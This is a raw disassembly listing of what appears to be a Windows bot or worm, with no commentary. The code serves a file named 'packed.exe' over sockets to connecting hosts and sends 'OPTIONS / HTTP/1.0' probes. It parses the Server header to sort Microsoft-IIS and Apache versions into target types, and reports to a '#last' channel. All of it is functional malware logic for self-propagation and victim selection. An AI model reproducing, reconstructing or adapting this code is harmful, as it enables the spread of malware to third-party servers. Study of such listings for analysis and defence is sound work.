; ---------------------------------------------------------------------------
loc_4128AE: ; CODE XREF: sub_4127D0+D7j
push offset aRb ; "rb"
push offset aPacked_exe_0 ; "packed.exe"
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4128CC
xor eax, eax
jmp short locret_412917
; ---------------------------------------------------------------------------
loc_4128CC: ; CODE XREF: sub_4127D0+F6j
and [ebp+var_4], 0
loc_4128D0: ; CODE XREF: sub_4127D0+145j
push [ebp+var_8]
push 200h
push 1
lea eax, [ebp+var_208]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412900
push [ebp+var_8]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_412917
; ---------------------------------------------------------------------------
loc_412900: ; CODE XREF: sub_4127D0+120j
push [ebp+var_4]
lea eax, [ebp+var_208]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
jmp short loc_4128D0
; ---------------------------------------------------------------------------
locret_412917: ; CODE XREF: sub_4127D0+DCj
; sub_4127D0+FAj ...
leave
retn
sub_4127D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412919 proc near ; CODE XREF: sub_412BC9+E8p
; sub_412D56+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0EA60h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_412938
xor eax, eax
jmp short locret_41294C
; ---------------------------------------------------------------------------
loc_412938: ; CODE XREF: sub_412919+19j
push 0
push 4
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov eax, [ebp+var_4]
locret_41294C: ; CODE XREF: sub_412919+1Dj
leave
retn
sub_412919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41294E proc near ; CODE XREF: sub_412BC9+115p
; sub_412D56+3Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_412964
; ---------------------------------------------------------------------------
loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_412964: ; CODE XREF: sub_41294E+Dj
mov eax, [ebp+var_8]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz short loc_4129C5
mov eax, [ebp+var_8]
imul eax, 3Ah
mov eax, dword_41CCF6[eax]
cmp eax, [ebp+arg_0]
jnz short loc_4129C3
mov eax, [ebp+var_8]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
mov [ebp+var_4], eax
push 3Ah
mov eax, [ebp+var_8]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
push [ebp+arg_4]
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
call sub_4105FB
pop ecx
mov eax, [ebp+arg_4]
add eax, 13h
push eax
call sub_4105FB
pop ecx
jmp short loc_4129C5
; ---------------------------------------------------------------------------
loc_4129C3: ; CODE XREF: sub_41294E+34j
jmp short loc_41295D
; ---------------------------------------------------------------------------
loc_4129C5: ; CODE XREF: sub_41294E+23j
; sub_41294E+73j
mov eax, [ebp+var_4]
leave
retn
sub_41294E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp
; sub_412BC9+15Ap ...
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 104h
push 1
mov eax, [ebp+arg_0]
add eax, 2Ah
push eax
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_104], eax
lea eax, [ebp+var_100]
push eax
push [ebp+arg_8]
call sub_4044F7
pop ecx
pop ecx
test eax, eax
jnz short loc_412A11
push offset aUnknown_0 ; "unknown"
lea eax, [ebp+var_100]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_412A11: ; CODE XREF: sub_4129CA+32j
lea eax, [ebp+var_100]
push eax
mov eax, [ebp+var_104]
inc eax
push eax
push [ebp+arg_C]
push [ebp+arg_4]
push offset dword_41A1D0
push offset aLast ; "#last"
call sub_40D4AB
add esp, 18h
leave
retn
sub_4129CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A3A proc near ; CODE XREF: sub_41331E+148p
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = byte ptr -248h
var_235 = byte ptr -235h
var_222 = dword ptr -222h
var_20C = dword ptr -20Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 250h
push [ebp+arg_4]
call sub_412720
pop ecx
push 3Ah
push [ebp+arg_0]
lea eax, [ebp+var_248]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_248]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_235]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_20C+3]
mov [ebp+var_8], eax
push 203h
push 0
lea eax, [ebp+var_20C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
and [ebp+var_4], 0
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A9F: ; CODE XREF: sub_412A3A+8Aj
; sub_412A3A:loc_412B7Fj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_412AA6: ; CODE XREF: sub_412A3A+63j
cmp [ebp+var_4], 3Ch
jnz short loc_412AB1
jmp locret_412BC7
; ---------------------------------------------------------------------------
loc_412AB1: ; CODE XREF: sub_412A3A+70j
push 3E8h
push [ebp+arg_4]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_412AC6
jmp short loc_412A9F
; ---------------------------------------------------------------------------
loc_412AC6: ; CODE XREF: sub_412A3A+88j
push 200h
push [ebp+var_8]
push [ebp+arg_4]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0FFFFFFFFh
jnz short loc_412AED
jmp locret_412BC7
; ---------------------------------------------------------------------------
loc_412AED: ; CODE XREF: sub_412A3A+ACj
cmp [ebp+var_24C], 0
jz short loc_412B69
and [ebp+var_250], 0
jmp short loc_412B0C
; ---------------------------------------------------------------------------
loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j
mov eax, [ebp+var_250]
inc eax
mov [ebp+var_250], eax
loc_412B0C: ; CODE XREF: sub_412A3A+C3j
mov eax, [ebp+var_250]
cmp eax, [ebp+var_24C]
jnb short loc_412B36
mov eax, [ebp+var_250]
mov eax, [ebp+eax+var_20C]
cmp eax, [ebp+var_222]
jnz short loc_412B34
jmp loc_412BC5
; ---------------------------------------------------------------------------
loc_412B34: ; CODE XREF: sub_412A3A+F3j
jmp short loc_412AFF
; ---------------------------------------------------------------------------
loc_412B36: ; CODE XREF: sub_412A3A+DEj
push 3
mov eax, [ebp+var_24C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 200h
push 0
push [ebp+var_8]
call sub_416B6A ; memset
add esp, 0Ch
jmp short loc_412B7F
; ---------------------------------------------------------------------------
loc_412B69: ; CODE XREF: sub_412A3A+BAj
push 203h
push 0
lea eax, [ebp+var_20C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_412B7F: ; CODE XREF: sub_412A3A+12Dj
jmp loc_412A9F
; ---------------------------------------------------------------------------
loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j
push [ebp+arg_4]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412B93
jmp short locret_412BC7
; ---------------------------------------------------------------------------
loc_412B93: ; CODE XREF: sub_412A3A+155j
push offset dword_41CC64
push [ebp+arg_4]
lea eax, [ebp+var_248]
push eax
push [ebp+arg_0]
call sub_4129CA
add esp, 10h
push 1
push [ebp+arg_4]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
jmp short locret_412BC7
; ---------------------------------------------------------------------------
loc_412BC5: ; CODE XREF: sub_412A3A+F5j
jmp short loc_412B84
; ---------------------------------------------------------------------------
locret_412BC7: ; CODE XREF: sub_412A3A+72j
; sub_412A3A+AEj ...
leave
retn
sub_412A3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412BC9 proc near ; CODE XREF: sub_41331E+165p
var_85C = dword ptr -85Ch
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = byte ptr -84Ch
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 85Ch
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404FE7
add esp, 0Ch
mov [ebp+var_8], eax
mov [ebp+var_854], 3Ch
and [ebp+var_850], 0
and [ebp+var_810], 0
loc_412BFD: ; CODE XREF: sub_412BC9+A9j
and [ebp+var_85C], 0
jmp short loc_412C13
; ---------------------------------------------------------------------------
loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j
mov eax, [ebp+var_85C]
inc eax
mov [ebp+var_85C], eax
loc_412C13: ; CODE XREF: sub_412BC9+3Bj
mov eax, [ebp+var_85C]
cmp eax, [ebp+var_810]
jnb short loc_412C37
mov eax, [ebp+var_85C]
mov eax, [ebp+eax*4+var_80C]
cmp eax, [ebp+var_8]
jnz short loc_412C35
jmp short loc_412C37
; ---------------------------------------------------------------------------
loc_412C35: ; CODE XREF: sub_412BC9+68j
jmp short loc_412C06
; ---------------------------------------------------------------------------
loc_412C37: ; CODE XREF: sub_412BC9+56j
; sub_412BC9+6Aj
mov eax, [ebp+var_85C]
cmp eax, [ebp+var_810]
jnz short loc_412C6E
cmp [ebp+var_810], 200h
jnb short loc_412C6E
mov eax, [ebp+var_85C]
mov ecx, [ebp+var_8]
mov [ebp+eax*4+var_80C], ecx
mov eax, [ebp+var_810]
inc eax
mov [ebp+var_810], eax
loc_412C6E: ; CODE XREF: sub_412BC9+7Aj
; sub_412BC9+86j
xor eax, eax
test eax, eax
jnz short loc_412BFD
lea eax, [ebp+var_854]
push eax
push 0
lea eax, [ebp+var_810]
push eax
push 0
push 0
call ds:dword_41722C ; select
mov [ebp+var_C], eax
cmp [ebp+var_C], 1
jz short loc_412CA5
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp locret_412D4A
; ---------------------------------------------------------------------------
loc_412CA5: ; CODE XREF: sub_412BC9+CCj
push [ebp+var_8]
call sub_412720
pop ecx
push [ebp+var_8]
call sub_412919
pop ecx
mov [ebp+var_858], eax
cmp [ebp+var_858], 0
jnz short loc_412CD1
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412CD1: ; CODE XREF: sub_412BC9+FBj
lea eax, [ebp+var_84C]
push eax
push [ebp+var_858]
call sub_41294E
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412CF9
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412CF9: ; CODE XREF: sub_412BC9+123j
push [ebp+var_8]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412D11
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412D11: ; CODE XREF: sub_412BC9+13Bj
push offset dword_41CC68
push [ebp+var_8]
lea eax, [ebp+var_84C]
push eax
push [ebp+var_4]
call sub_4129CA
add esp, 10h
push 1
push [ebp+var_8]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_4053B1
pop ecx
locret_412D4A: ; CODE XREF: sub_412BC9+D7j
; sub_412BC9+106j ...
leave
retn
sub_412BC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p
push ebp
mov ebp, esp
mov eax, offset dword_41EB24
pop ebp
retn
sub_412D4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D56 proc near ; DATA XREF: sub_412E04+CAo
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 48h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
push [ebp+var_8]
call sub_412720
pop ecx
push [ebp+var_8]
call sub_412919
pop ecx
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jnz short loc_412D8A
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412D8A: ; CODE XREF: sub_412D56+25j
lea eax, [ebp+var_44]
push eax
push [ebp+var_48]
call sub_41294E
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412DAE
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412DAE: ; CODE XREF: sub_412D56+49j
push [ebp+var_8]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412DC8
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412DC8: ; CODE XREF: sub_412D56+63j
push offset dword_41CC6C
push [ebp+var_8]
lea eax, [ebp+var_44]
push eax
push [ebp+var_4]
call sub_4129CA
add esp, 10h
push 1
push [ebp+var_8]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
locret_412E00: ; CODE XREF: sub_412D56+32j
; sub_412D56+56j ...
leave
retn 4
sub_412D56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E04 proc near ; DATA XREF: sub_412F07+B0o
var_1B8 = dword ptr -1B8h
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AA = byte ptr -1AAh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B8h
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_1B4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_1B0]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412E59
push [ebp+var_1B4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_412F03
; ---------------------------------------------------------------------------
loc_412E59: ; CODE XREF: sub_412E04+40j
lea eax, [ebp+var_1B0]
push eax
mov eax, [ebp+var_1B4]
push dword ptr [eax]
push offset dword_41CC70
lea eax, [ebp+var_1AA]
push eax
call sub_40D53F
add esp, 10h
lea eax, [ebp+var_1B0]
push eax
push offset dword_41EB24
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_412E8F: ; CODE XREF: sub_412E04+B7j
; sub_412E04:loc_412EEAj
mov eax, [ebp+var_1B4]
cmp dword ptr [eax+4], 0
jz short loc_412E9D
jmp short loc_412EEC
; ---------------------------------------------------------------------------
loc_412E9D: ; CODE XREF: sub_412E04+95j
push 3E8h
push [ebp+var_4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1B8], eax
cmp [ebp+var_1B8], 0FFFFFFFFh
jnz short loc_412EBD
jmp short loc_412E8F
; ---------------------------------------------------------------------------
loc_412EBD: ; CODE XREF: sub_412E04+B5j
cmp [ebp+var_1B8], 0
jnz short loc_412EC8
jmp short loc_412EEC
; ---------------------------------------------------------------------------
loc_412EC8: ; CODE XREF: sub_412E04+C0j
push [ebp+var_1B8]
push offset sub_412D56
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_412EEA
push [ebp+var_1B8]
call sub_4053B1
pop ecx
loc_412EEA: ; CODE XREF: sub_412E04+D8j
jmp short loc_412E8F
; ---------------------------------------------------------------------------
loc_412EEC: ; CODE XREF: sub_412E04+97j
; sub_412E04+C2j
push [ebp+var_4]
call sub_404CBB
pop ecx
push [ebp+var_1B4]
call sub_409763
pop ecx
xor eax, eax
locret_412F03: ; CODE XREF: sub_412E04+50j
leave
retn 4
sub_412E04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep
; sub_41349C+2C7p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 1ADh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_412F26
jmp locret_412FC4
; ---------------------------------------------------------------------------
loc_412F26: ; CODE XREF: sub_412F07+18j
cmp [ebp+arg_4], 0
jz short loc_412F3A
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_C], eax
jmp short loc_412F4E
; ---------------------------------------------------------------------------
loc_412F3A: ; CODE XREF: sub_412F07+23j
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_C], eax
loc_412F4E: ; CODE XREF: sub_412F07+31j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_412F63
cmp [ebp+var_4], 0FFFFh
jbe short loc_412F77
loc_412F63: ; CODE XREF: sub_412F07+51j
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_4], eax
loc_412F77: ; CODE XREF: sub_412F07+5Aj
push 0Ah
mov eax, [ebp+var_8]
add eax, 4
push eax
push [ebp+var_4]
call sub_416F7A ; _itoa
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_8]
add eax, 0Ah
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+var_4]
push offset dword_41CCA8
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_8]
push offset sub_412E04
call sub_4095A4
add esp, 14h
locret_412FC4: ; CODE XREF: sub_412F07+1Aj
leave
retn
sub_412F07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412FC6 proc near ; CODE XREF: .text:004168CBp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_412FD8: ; CODE XREF: sub_412FC6+9j
mov eax, [ebp+var_4]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz locret_41308D
mov eax, [ebp+var_4]
imul eax, 3Ah
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov ecx, dword_41CCF6[ecx]
and ecx, 0FFh
mov eax, off_41CCFE[eax]
sub eax, ecx
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov off_41CCFE[ecx], eax
mov eax, [ebp+var_4]
imul eax, 3Ah
and dword_41CCFA[eax], 0
loc_413024: ; CODE XREF: sub_412FC6+7Ej
; sub_412FC6+BEj
call sub_410422
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov dword_41CCF6[ecx], eax
mov eax, [ebp+var_4]
imul eax, 3Ah
cmp dword_41CCF6[eax], 0
jnz short loc_413046
jmp short loc_413024
; ---------------------------------------------------------------------------
loc_413046: ; CODE XREF: sub_412FC6+7Cj
and [ebp+var_8], 0
jmp short loc_413053
; ---------------------------------------------------------------------------
loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_413053: ; CODE XREF: sub_412FC6+84j
mov eax, [ebp+var_8]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz short loc_413088
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz short loc_413086
mov eax, [ebp+var_4]
imul eax, 3Ah
mov ecx, [ebp+var_8]
imul ecx, 3Ah
mov eax, dword_41CCF6[eax]
cmp eax, dword_41CCF6[ecx]
jnz short loc_413086
jmp short loc_413024
; ---------------------------------------------------------------------------
loc_413086: ; CODE XREF: sub_412FC6+A2j
; sub_412FC6+BCj
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413088: ; CODE XREF: sub_412FC6+9Aj
jmp loc_412FD1
; ---------------------------------------------------------------------------
locret_41308D: ; CODE XREF: sub_412FC6+1Fj
leave
retn
sub_412FC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41308F proc near ; CODE XREF: sub_41331E+72p
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = byte ptr -810h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 820h
push 16h
push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 0EA60h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_4130C4
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4130C4: ; CODE XREF: sub_41308F+2Cj
push 0
push 800h
lea eax, [ebp+var_810]
push eax
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4130F3
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_4130F3
cmp [ebp+var_8], 800h
jnz short loc_4130FA
loc_4130F3: ; CODE XREF: sub_41308F+53j
; sub_41308F+59j
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4130FA: ; CODE XREF: sub_41308F+62j
mov eax, [ebp+var_8]
and [ebp+eax+var_810], 0
and [ebp+var_4], 0
push offset aServer ; "Server:"
lea eax, [ebp+var_810]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_41312C
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_41312C: ; CODE XREF: sub_41308F+94j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push [ebp+var_10]
call sub_40813C
add esp, 0Ch
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_413150
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413150: ; CODE XREF: sub_41308F+B8j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_413173
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413173: ; CODE XREF: sub_41308F+DBj
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_C], eax
push 0Dh
push offset aMicrosoftIis ; "Microsoft-IIS"
push [ebp+var_10]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_41323C
and [ebp+var_818], 0
and [ebp+var_814], 0
lea eax, [ebp+var_814]
push eax
lea eax, [ebp+var_818]
push eax
push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
push [ebp+var_10]
call sub_416BA2 ; sscanf
add esp, 10h
cmp [ebp+var_818], 4
jnz short loc_4131E9
cmp [ebp+var_814], 0
jnz short loc_4131E9
push 4
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4131E9: ; CODE XREF: sub_41308F+147j
; sub_41308F+150j
cmp [ebp+var_818], 5
jnz short loc_413203
cmp [ebp+var_814], 0
jnz short loc_413203
push 3
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413203: ; CODE XREF: sub_41308F+161j
; sub_41308F+16Aj
cmp [ebp+var_818], 5
jnz short loc_41321D
cmp [ebp+var_814], 5
jnz short loc_41321D
push 2
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_41321D: ; CODE XREF: sub_41308F+17Bj
; sub_41308F+184j
cmp [ebp+var_818], 6
jnz short loc_413237
cmp [ebp+var_814], 0
jnz short loc_413237
push 1
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413237: ; CODE XREF: sub_41308F+195j
; sub_41308F+19Ej
jmp loc_41331A
; ---------------------------------------------------------------------------
loc_41323C: ; CODE XREF: sub_41308F+10Ej
cmp [ebp+var_C], 0
jz loc_41331A
push 6
push offset aApache ; "Apache"
push [ebp+var_10]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_41331A
and [ebp+var_820], 0
lea eax, [ebp+var_820]
push eax
push offset aApacheU ; "Apache/%u"
push [ebp+var_10]
call sub_416BA2 ; sscanf
add esp, 0Ch
push 6
push offset aUnix ; "(Unix)"
push [ebp+var_C]
call sub_416F80 ; _strnicmp
add esp, 0Ch
neg eax
sbb eax, eax
inc eax
mov [ebp+var_81C], eax
cmp [ebp+var_81C], 1
jnz short loc_4132BE
push 7
push offset aWin32 ; "(Win32)"
push [ebp+var_C]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jz short loc_4132BE
xor eax, eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132BE: ; CODE XREF: sub_41308F+213j
; sub_41308F+229j
cmp [ebp+var_820], 1
jnz short loc_4132D5
cmp [ebp+var_81C], 0
jz short loc_4132D5
push 6
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132D5: ; CODE XREF: sub_41308F+236j
; sub_41308F+23Fj
cmp [ebp+var_820], 1
jnz short loc_4132EC
cmp [ebp+var_81C], 0
jnz short loc_4132EC
push 5
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132EC: ; CODE XREF: sub_41308F+24Dj
; sub_41308F+256j
cmp [ebp+var_820], 2
jnz short loc_413303
cmp [ebp+var_81C], 0
jz short loc_413303
push 6
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_413303: ; CODE XREF: sub_41308F+264j
; sub_41308F+26Dj
cmp [ebp+var_820], 2
jnz short loc_41331A
cmp [ebp+var_81C], 0
jnz short loc_41331A
push 5
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_41331A: ; CODE XREF: sub_41308F:loc_413237j
; sub_41308F+1B1j ...
xor eax, eax
locret_41331C: ; CODE XREF: sub_41308F+30j
; sub_41308F+66j ...
leave
retn
sub_41308F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41331E proc near ; DATA XREF: sub_41349C+4EBo
; sub_413CB3+27Co
var_14C = dword ptr -14Ch
var_11A = dword ptr -11Ah
var_112 = dword ptr -112h
var_10E = dword ptr -10Eh
var_10A = byte ptr -10Ah
var_8A = dword ptr -8Ah
var_86 = byte ptr -86h
var_6 = byte ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14Ch
push 14Ch
push [ebp+arg_0]
lea eax, [ebp+var_14C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
push [ebp+var_10E]
call sub_404457
pop ecx
pop ecx
lea eax, [ebp+var_10A]
push eax
push [ebp+var_10E]
call sub_4044F7
pop ecx
pop ecx
test eax, eax
jnz short loc_413381
push [ebp+var_10E]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_413498
; ---------------------------------------------------------------------------
loc_413381: ; CODE XREF: sub_41331E+4Ej
cmp [ebp+var_112], 0
jz short loc_4133B1
push [ebp+var_10E]
call sub_41308F
pop ecx
cmp [ebp+var_112], eax
jz short loc_4133B1
push [ebp+var_10E]
call sub_4053B1
pop ecx
xor eax, eax
jmp locret_413498
; ---------------------------------------------------------------------------
loc_4133B1: ; CODE XREF: sub_41331E+6Aj
; sub_41331E+7Ej
cmp [ebp+var_8A], 1
jnz short loc_4133E0
lea eax, [ebp+var_6]
push eax
push [ebp+var_10E]
call sub_404552
pop ecx
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_86]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_413444
; ---------------------------------------------------------------------------
loc_4133E0: ; CODE XREF: sub_41331E+9Aj
cmp [ebp+var_8A], 2
jnz short loc_413420
push 0Ah
lea eax, [ebp+var_6]
push eax
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_10A]
push eax
lea eax, [ebp+var_86]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_413444
; ---------------------------------------------------------------------------
loc_413420: ; CODE XREF: sub_41331E+C9j
call sub_412D4C
push eax
lea eax, [ebp+var_6]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_86]
push eax
